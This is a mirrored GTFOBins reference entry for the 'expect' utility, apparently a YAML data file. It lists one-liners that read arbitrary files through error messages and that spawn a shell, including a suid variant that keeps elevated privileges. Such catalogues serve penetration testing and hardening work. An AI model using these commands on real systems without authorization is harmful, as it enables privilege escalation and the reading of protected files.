1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/expect
2026-01-05 22:26:55 +01:00

23 lines
493 B
Plaintext

---
functions:
file-read:
- code: |-
expect /path/to/input-file
comment: |-
The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message.
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
expect -c 'spawn /bin/sh;interact'
contexts:
sudo:
suid:
code: |-
expect -c 'spawn /bin/sh -p;interact'
shell: false
unprivileged:
...